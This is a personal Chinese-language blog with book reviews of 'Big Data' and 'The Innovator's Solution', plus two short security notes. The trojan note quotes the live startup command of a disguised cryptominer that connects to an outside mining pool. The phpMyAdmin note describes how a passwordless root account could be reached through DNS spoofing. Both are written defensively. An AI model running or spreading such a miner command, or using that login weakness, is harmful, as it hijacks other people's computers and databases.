我讀 «大數據»

本書 – 大數據 (Big Data) 的作者是麥爾荀伯格 (Viktor Mayer-SchÖnberger) 和庫基耶 (Kenneth Cukier) 兩位, 它的副標題是 A Revolution that Will Transform How We Live, Work, and Think, 由天下文化出版.

Big Data 這個名詞近來很紅, 顧名思義, 會讓人聯想到我們有很多資料可以用, 所以我們可以…. 不過對於它的內涵, 一般人還是不甚了了, 這也就是為什麼大年初二我會在 7-11 買它的原因. 我想大家可能都聽過 Google 可以用關鍵字搜尋來預測流感發生的區域, 這是相當著名的一個資料探勘 (data mining) 應用. 不過 big data 和更早之前講到的 data mining 究竟有甚麼不同呢?

根據本書的說法, big data 代表 “樣本 = 母體", 也就是完全沒有抽樣, 這是 big data 的第一大特徵. Farecast 公司專門預測飛機的票價, 創辦人伊茲奧尼 (Oren Etzioni) 所使用的資料庫是某個旅遊網站的一萬兩千筆票價資料. 他用這個資料庫建立一個模型, 告訴想買機票的人, 現在的報價將會上漲或是下跌. 當他創業成功後, 他所使用的資料庫也愈來愈大, 據說現在有兩千億筆的票價紀錄. (呃, 能夠順便告訴我世界先進接下來會漲還是會跌嗎?) 總而言之, 使用 big data 的人不需要有特別考量專業背景 (know why), 只要讓資料說話 (know what).

這使我想起當初在做文字識別的時候, 我們最重視的是主觀的特徵 (feature), 比方說有人會用字的外緣軌跡 (contour)的梯度 (gradient) 來當作特徵, 這樣就會比取字形的投影量 (histogram) 厲害.我們先有想法, 然後才去實驗它是否可行? 這一點到了 big data 的時代看起來還是沒變, 我們還是需要測試, 只不過我們用的資料庫變大了. Know Why 的比重降低, Know What 的比重提高. 我們不太需要大師想出震古鑠今的 “特徵",什麼高招低招都可以一併拿出來用, 只要資料庫夠大, 我們可以靠實驗為所有的特徵分配比重.不再需要單一的辨識之神, know what > know why 可以說是 big data 的第二個特徵.

對於 “樣本 = 母體" 這部分, 我仍然可以用模式識別 (pattern recognition) 來說明. 19 年前, 我們去加拿大向孫靖夷教授求教, 他說訓練辨識用資料庫裡面要乾淨,把一些奇怪的字 (這裡指的是手寫數字) 剔除, 此時訓練出來的資料庫才不會有太大的變異 (variance), 進而影響辨識的效果.不過在 big date 裡面, 其實並不分訓練用的資料庫和實際應用的資料庫, 它們就是同一個, 所以怪怪的資料並不會被剔除. 就算要剔除這些資料, 也要專家說了才算吧! – 而這恰好違背了 know what > know why 的原則, 因此沒有人會去整理資料庫,雖然 garbage in garbage out, 但它們自然會被淹沒在大多數都是正確的資料海當中 (p23).

怪怪的資料也包括缺損的類型, 舉例來說, 傳統的資料庫軟體都有許多欄位要填, 但是我們所蒐集的部分資料可能就是少了那麼幾欄, 在這種情況之下仍然要能資料化 (記錄整理)、數位化 (能讓電腦讀取)將這筆數據放進資料庫 (data base), 就成了新式資料庫軟體的挑戰. 書上有個不錯的例子是有關於亞馬遜書店的書評. 最初亞馬遜雇用了一群專家來寫書評, 他們會為我們買的書推薦相關讀物作為延伸閱讀, 以便進一步刺激銷量.

不過實際上,讀者不一定想當領域的專家. 如果我已經買了 <Big Data>, 它又推薦我買 data mining, 我應該會瘋掉.結果亞馬遜在做完實驗後, 解僱了這些專業書評, 改採統計式推薦. 當初買這本書的人又買了什麼? 它就會直接推薦給我們, 亞馬遜也不知道為什麼? 但它比專家還有效, 亞馬遜的業績有 1/3 來意推薦名單. 而 Netflix 租片訂單有 3/4 來自電腦推薦系統. Why? 沒有那麼重要. 如果真的花大筆資金和人力, 找出人類潛意識的規則, 能夠把 Netflix 的推薦名單效用再倍增嗎? 也許不能. 乾脆就這樣不求甚解下去好了.我們只要知道相關性 (correlation), 不用知道因果.

相關性也是一個有趣的東西, 我們想知道銷售量和哪些東西相關, 當然就希望 “哪些" 不只是一些些, 而是所有的可能的資料. 基於這個原因, 原先沒有被發掘的特徵也都數據化了, 例如地理位置.當然, 對方要是能夠知道我們的種族、血型、星座、收入…, 也絕對不會放棄這個機會. 這也就是大公司喜歡收集我們訊息的理由. 微軟、谷歌都會要求我們參與他們的改進計畫, 以便蒐集更多的用戶軟硬體配備資訊. 甚至還有人讓我們當免費的廉價勞工.

馮安 (Luis Von Ahn) 第一個想到用圖形上的文字來測試輸入者是人類還是電腦程式 – Completely Automated Public Turing Test to Tell Computers and Humans Aprt (Captcha). 他的發明真的擋掉了許多想測試密碼的機器人, 不過也害得我們有時根本看不清哪張圖上面的字是什麼鬼, 而進不了自己的帳號. 因為馮安在推出第二代 Captcha – ReCaptcha 的時候, 順便把 Google 文字識別也認不出來的字參雜在其中. 如果有五個人的答案都一樣, Google 就可以把它加入資料庫. 也就是說, Google 每天可以省下 400 萬美元的工讀生認字費用去認那兩億個字. 而我們還以為它知道答案呢!

由此可以見, 資料庫不但可以拿來使用, 還能請君入甕. 上面這個例子是 Google 把資料庫借給 Captcha, 而 Captcha 又回饋給 Google 的例子. 於是我們可以看到資料庫的釋出可以帶來雙贏的好處. 釋放資料庫的附加價值有三個: 重複使用資料、合併資料庫、找到買一送一的情況 (p147).

所謂重複使用資料就是把資料活化, 把原本用途 A 的資料放在用途 B 來用. 合併資料庫的例子是把戶政, 疾病, 年收入三個資料庫做相關性比對. 買一送一的例子是 Google 的街景車一面搜集街景資料, 一面記錄 WIFI 訊號, 以便日後可以靠 WIFI 基地台的位置加強定位的精准度. 顯然, 某些資料會有保存期限, 比方說 WIFI  SSID 換了, 就要重新再搜集.

誰可以從 big data 獲利呢?包括資料持有人, 資料專家, 和有巨量資料思維者 (p182). 擁有大量資料的臉書, 谷歌, 微軟, 雅馬遜無疑是大贏家, 所以大公司絕對有利. 而小公司只要有想法, 能夠找出應用, 他們大可以去買別人的資料庫來用, 甚至可以用免費的 [1]. 因此最不具競爭力的就是中型公司. 

最後本書講到道德問題. 我們有了巨量資料, 搭配上某個演算法, 似乎就可以輕易地破壞隱私權,  或是事先預防犯罪. 但是就如同人肉搜索有其不道德的一面之外, 就算我們根據統計資料計算出某個罪犯不應該被假釋, 我們也不應該違反無罪推定, 先入人於罪. 書上說到, 使用 big data 需要三條管控策略來規範.

1. 將資料保護由個人同意制, 改為使用者責任制. 我們在很多時候都會簽署同意對方使用個資的條文, 例如辦信用卡, 求職等等. 但我們當下的同意, 並不表示銀行可以一直打電話來叫我們貸款或是買保險. 這就是責任制比同意制好的地方. 我們的同意必須有時空的限制.

2. 運用 big data, 要尊重每個人的能動性. 這個意思是說, 不能用它作為有責任或義務的推論. 比方說保險公司不能夠因為某人是 50 歲的獨居失業男子, 就不准他買保險. 在這個狀況下, 保險公司反而有義務公佈他們的資料庫, 演算法, 讓專業的第三方認證, 且當事人可以反駁精算師的預測.

3. 培養演算專家這種審計師來稽核 big data 的使用.

綜觀全書, 它給了我們關於 big data 的宏觀描述, 也提到它的效用與道德風險. 不過就如一開始所說到的, big data 只能告訴我們大多數的情況下是怎麼發生的, 並不能解釋其原因, 也不能涵蓋所有的個案. 我在讀的另外一本書 <黑天鵝效應> 剛好就在講例外的那一部分甚至比常態的那部分更重要. 這兩本書算是互補.

[ref]

1. 免費-google Cloud SQL 雲端資料庫服務

木馬病毒小記錄

前陣子看到開機之後, 都會有一個 spoolv 佔了系統 80% 的運算量, 把它砍掉之後就好了. 雖然知道是病毒, 但還是不明就裡?

結果昨天不但在 windows 底下看到 panther 病毒的目錄, 還看到一個 mix 目錄, 裡面就有 spoolv. 再找一找, 也在 c: 的根目錄找到一個 iexplore.exe, 也在啟動裡面找到它的發動機 – sh 檔.

它的感染流程我還不知道 – 沒有像百度千千靜聽和 QVOD 會導致 hao123、sanpdo、QVO6 …那麼明顯, 但是啟動流程大致就是由 Windows 啟動時的 shell script 帶頭, 執行下面一段指令.

%SystemRoot%mixhstart.exe /NOCONSOLE /SILENT /D="%SystemRoot%mixspoolv32" /HIGH "%SystemRoot%mixspoolv32iexplorer.exe -o stratum+tcp://cat.or.gs:3333 -O geox.1:x"

簡單地說, 它要到 c:windowsmix 底下執行 hstart.exe, 然後跑一個很小的 iexplore.exe. 從工作管理員看來, 只會看到這個熟悉名字, 一時不會覺得奇怪.不過若是去點它的 "內容" –> "數位簽章", 就知道這不是 Microsoft 發行的.

我覺得它最厲害的地方就是 tcp 到 cat.or.gs 了.這個 ip (162.212.255.218) 看起來是大陸的, 也就是收集資料的主機. 但它怎麼能確定 port 3333 是開著的呢? 因為它主動把防火牆給關了.因此防火牆被關也是一個重要徵兆.

至於 Panther 應該和它們不是同一個家族, 不過它的名氣也比較大.比較容易被防毒軟體認出來. 我的 Norton 或是趨勢的防毒軟體都沒抓到那個假 iexplore.exe, 後者只有在它執行的時候, 才會問要不要封鎖而已.

[20140228 補充]

1. 基本上, 趨勢的 PCcillin 是比較抓不到病毒的. 相形之下, Panda Antivirus Pro 試用版可以在 PCcillin 之後又抓出 14 個病毒. 當我再換成 Norton Antivirus 之後, Norton 說要把 PCcillin 反安裝, 但是它卻不排斥貓雄.

金山毒霸廣提示視窗然多, 但是它在貓熊和 Norton 之後還找出更多的病毒, 只是有個 Microsoft.com 病毒消不掉. 當三個防毒軟體病毒同時存在時, 貓熊就被排斥了, 一開起來就閃退. Norton 和毒霸相安無事.

phpMyAdmin 的權限設定

昨天又找到 wordpress 的 phpMyAdmin 底下被放了一些木馬執行檔, 我在想: 到底 wordpress 到底有哪些地方容易有後門呢?想著想著, 就看到 phpMyAdmin 裡面的權限.

咦? production.mysql.com 的 root 不用密碼就可以登入耶, 這不是個大漏洞嗎?只要先謊報一個 DNS, 自稱是 production.mysql.com, 就可以堂而皇之地登入了. 但這是安裝的預設值, 我也不敢把這個帳號刪掉, 所以我就幫它加了個密碼, 看起來沒事.

接著就把 localhost 的密碼也改了, 結果看到 “建立資料庫連線時發生錯誤". 雖然這個密碼是可以改的, 但是和 wp-config.php 裡面寫得不一樣. 這麼一來, wordpress 就無法透過 phpMyAdmin 去取用 MySQL 裡面的資料庫了. 所以兩者要同時修改才可以.

我讀 «創新者的解答» – 3 (完)

第七章是 “你的組織是否有能力實現破壞性成長". 此處是用資源, 流程, 價值觀 (resources, process, value = RPV) 的三個層面來衡量創新能力. RPV 這個名詞在 “創新者的窘境" 一書裡面已經提到過, 但是本書將它完整地重講了一遍.  

下圖當中, 左邊和下邊的兩軸可以視為判斷創新事業屬性的條件, 而右邊和上邊的兩軸可以用來決定組織的形態. 比方說我們公司要改走生醫電子, 那麼與組織流程就不太匹配 (必須通過一些認證), 與組織的價值觀可能匹配 (高毛利…etc.), 那麼這個產品 A 適合在公司中建立一個大的部門 (由主流組織負責的重量級團隊).

一個企業如果曾經獲得成功, 那麼它就會漸漸形成某種 “流程" 和 “價值觀", 甚至於 “文化". 比方說晉用人才的流程, 什麼樣叫做表現好的價值觀…這些都塑造了公司的特色. 當大家認為這樣做理所當然, 那麼也就扼殺了體制外突破的機會.  簡單來說, 公司允許先賠錢賣也要搶進某個市場, 後來也獲得了成功, 那麼就不會吝於砸錢投資有潛力的產品線. 反之, 若是前一次這種投資失敗了, 下次的停損點就會設得更低, 一個有潛力的新產品可能就會提早夭折.

在所有資源當中, 最重要的就是人. 公司往往會依據一個人過去是否有成功經驗, 來決定是否把他放在新的領導位置上. 不過作者特別提到, 我們不應該只看他是否有 “成功經驗", 而是要看他是否有 “破壞性創新" 的經驗, 來衡量他是否可以帶領 “創新的產品". 若是沒有這種經驗, 公司應該要加以培養. 因為帶領  “破壞性創新的產品" 和 “延續性創新" 時需要具備不同的流程與價值觀.

第八章 “戰略開發流程的管理" 中, 強調 “資源分配" 這件事的重要. 不管企業領導人嘴上說什麼, 他實際分配資源的方式, 才真正決定公司的走向.  基本上, 公司的策略可以分為兩大類, 第一類是謀略型的策略, 第二類是應急型的策略. 一家已經上軌道的公司, 通常已經有賺錢的產品正在持續地進行創新. 此時他們應該採用謀略型的策略, 先做財測, 然後做計劃, 決定投資額度, 最後加以施行.

應急型的策略適用於破壞性創新的情境. 因為潛在客戶根本是零消費, 做財測是沒有意義的. 此時應該先訂出目標客戶, 並據此做出財測. 然後分析出這種商品的使用情境下用了哪些假設?並證明所依據的假設能夠成立. 以上都沒問題了, 才把錢投進去.

由於一家穩定發展又有潛力的公司必須同時採用兩種策略, 領導人必須很清楚他用對了策略, 而且適當地關注破壞性創新的部門, 產品線, 或是分公司. 至於要採用哪一種團隊來作戰, 可以依據第七章的那個圖. 

事實上, 有時候並不是公司的領導人眼光獨到地做出決策, 而是他們理智地管理了公司的財務. 比方說 Intel 一直把 2/3 的資金都投入 DRAM 的生產, 但是 DRAM 根本沒賺什麼錢!中階主管一向都是以產品毛利率來分配資源 – 如題報新計劃. 因此 DRAM 分到的資源也就愈來愈少. 等到 Intel 陷入財務危機時, 葛洛夫等領導人才 “毅然決然" 地把公司轉型為微處理器公司. 但數字早就已經說話了 (p. 175).

第九章的主題是 “錢能載舟, 亦能覆舟".  簡單地說, 不管這產品是誰出的錢, 都會要求回報. 拿得錢愈多, 就愈不可能是破壞性創新. 因為只有延續性創新才能分食看得到的市場上的大餅. 如此一來, 開發團隊才能夠儘早對金主有個交代.  

為了避免投資破壞性創新的 “好錢" 變成非得畫大餅的 “壞錢", 一家已經上軌道的公司要在仍然有成長的時候, 儘早投資新事業. 此外, 公司的營業額太大, 也會自動限制公司可以投資的項目. 這可以解釋鴻海為何說要分拆來追求成長. 

成功的破壞性創新要急於獲利, 而不是急於成長. 因為看中零消費市場後, 還需要許多的時間來等待這個市場擴大. 但如果這個模式正確, 目標客戶一定會買單, 也因此理應要獲利!作者認為不好的模式是, 公司對成長沒有耐心, 但是對賺錢很有耐心. 也就是說, 公司一直砸資源, 不過這單生意始終都不賺錢. 基於前面提到的政策選擇原理, 看到產品不賺錢就要用應急型策略, 趕快轉進到會賺錢的市場區隔, 並且把自己養大.

第十章, 也就是最後一章. 作者說不需要是企業創辦人才懂得破壞性創新, 專業經理人也屢有佳績. 這就好像在說, 只要有心, 人人都可以成為食神. 領導人要把創新的引擎放到企業當中, 親自決策, 規劃團隊, 並給予訓練. 雖然說作者認為又穩定又不斷創新理論上可行, 即使他沒見過. 但我私自認為 3M 和 Google 可以算是這樣的公司.

這本書由 3 個大陸同胞翻譯, 瑕疵只有兩處. 圖 5-1 的虛線畫成了實線, 和文字不符.  還有就是大部份提到葛洛夫的時候都是用安迪 (Andy), 但 p218 是用安德魯 (Andrew), 雖然都是講同一個人 Andrew Stephen (“Andy") Grove , 但是不太統一. 

我讀 «創新者的解答» – 2

第四章是 “我們的產品最適合哪些客戶?"  這章舉了三個例子來說明目標客戶的重要. 第一個就是 Sony 的電晶體收音機, 第二個是心臟的氣球擴張術, 第三個是太陽能電池.  創新產品一開始應該是沒有客戶的, 也就是 “零消費" 的市場.  既然連客戶都沒有, 公司怎麼敢把資金放到這個市場去呢?本章就是討論這個題目.

作者認為, 公司公司需要成長才能維持股價, 因此公司也希望能夠成長. 不過要分配資源給新產品就看個公司的策略. 我們可以從兩個維度來看公司如何投資, 一個當然是投資的大小, 另一個就是是否有靈活的計劃.  我們若是和老闆要人, 要錢, 必然得畫大餅給公司看. 不過壞就壞在一旦畫了大餅, 很容易就會把產品導向延續性創新, 縱然成功, 也失去爆發性成長的意義. 所謂靈活的計劃, 就是和公司既有的延續性創新用不同的標準審查. 

比方說我們以前的 DMP 和現在的 DHC 產品線都屬於比較創新的產品. 如果用延續性創新的標準來看, 看來不是很有投資價值. 但是若以破壞性創新的角度來看, 公司可以容忍我們一段時間之後才損益兩平. 這算是某種靈活的計劃. 而 DMP 產品線一度做得很好, 但是又往下掉, 那就是破壞性創新被模仿之後, 我們一直在做延續性創新. 而 Android 平台變成另一波的破壞性創新來取代我們. 第五章可以更技術性地解釋這中間的差異.

我們也可以從客戶的問題來檢驗我們的產品是否為破壞性創新. 如果客戶問:"我要這幹什麼?這便宜嗎?這容易壞嗎?", 那麼產品可能是延續性創新. 如果客戶問的是: “要培訓嗎?培訓要收費嗎?" 這個產品可能破壞性創新.

第五章 “選擇正確的業務範圍" 解釋了 “我們的核心競爭力在哪裡?什麼東西可以外包?" 等等問題. 作者認為一個零消費市場剛剛起來的時候, 東西先做出來的獲勝, 因此系統是交互式設計 (interdependence) – 也就是不需要太模組化. 從 AP 打個洞去寫 kernel 的 register 是 OK 的, 只要效率好就行.  不過等到大家的技術比較成熟之後, 模組化的好處就浮現了. 像是 Android 包掉了絕大多數的工作, 我們可以把精力放在最擅長的地方, 把其他地方外包.

前公司的客戶會說, 我們要用 gsteamer 當播放器, 你們怎麼跟我對接?有的更明說了, “我們不用你們的 player, 只要用你們的硬件. 我們的接口長這樣, 你們把它接起來. "  客戶其實就是說, 某某技術我也有, 我只要用你們的另一個模組. 這就表示客戶有的那一部分東西, 不是我們的核心技術, 我們可以把它外包給別人.

作者說到, 如果封閉系統的 total solution 已經不能滿足客戶, 或者說客戶已經被過度服務了, 這個服務就被 “商品化" 而變得不值錢. 其中仍然值錢的部分就是我們最專精, 客戶不能不配合的部分. 我們在這邊繼續努力, 才能做到 “反商品化" –  有錢也不一定買得到, 至少要跟我買.

書上以個人電腦為例, 說明電腦技術還不成熟時, 我們會買一整台電腦回家. 雖然也可以 DIY, 不過有品牌的就比較有保障. 他們會賣得貴一點, 就是因為大家對自己組的品質還不夠有信心. 等到整個技術生態圈都成熟之後, Intel 和 MicroSoft 仍然保有他們的身價. 而其他的模組, 往往用這家的也行, 用那家的也行. 因此, 企業要設法把自己定位在正確的商品上. 那些誤以為保有品牌或是代工技術就行的公司, 其實是比較不值錢的.

身為企業經理人, 他們必須判斷現在應該要推模組化產品還是整合型產品. 比方說 WAP (Wireless Application Protocol) 剛推的時候也是風風火火, 但是在網路上跑程式的技術還不成熟之前, 所需要的是垂直整合的獲利模式, 而不是把原本的技術修改為符合 WAP 的規格 (模組化).  也許網友會覺得這不過是後見之明, 但日本的 Docomo 就是成功的例子. 他們投入資源在設法獲利, 而不是設法跟上某個新規格.

第六章說到 “如何避免貨品化".  基本上我已經把內容整理在說明第五章的部分了. 作者說, 當整個產品商品化後 – 有錢就買得到, 一定有一個商機存在於 “有錢也買不到" 的模組. 不過, 這個理論並沒有可靠的例證, 大家儘可以質疑. 作者是根據  Tensilica 的 CEO Chris Rowen 的 “高利率守恆定律" 得到靈感的. 我想實際上只有 “轉移" 而沒有 “守恆" 這回事. 螃蟹公司本來賣音效卡, 後來只做類比數位轉換的 AD/DA, 堪稱是高利率轉移, 但是絕對沒有守恆這種事啦, 東西不是愈賣愈便宜了嗎?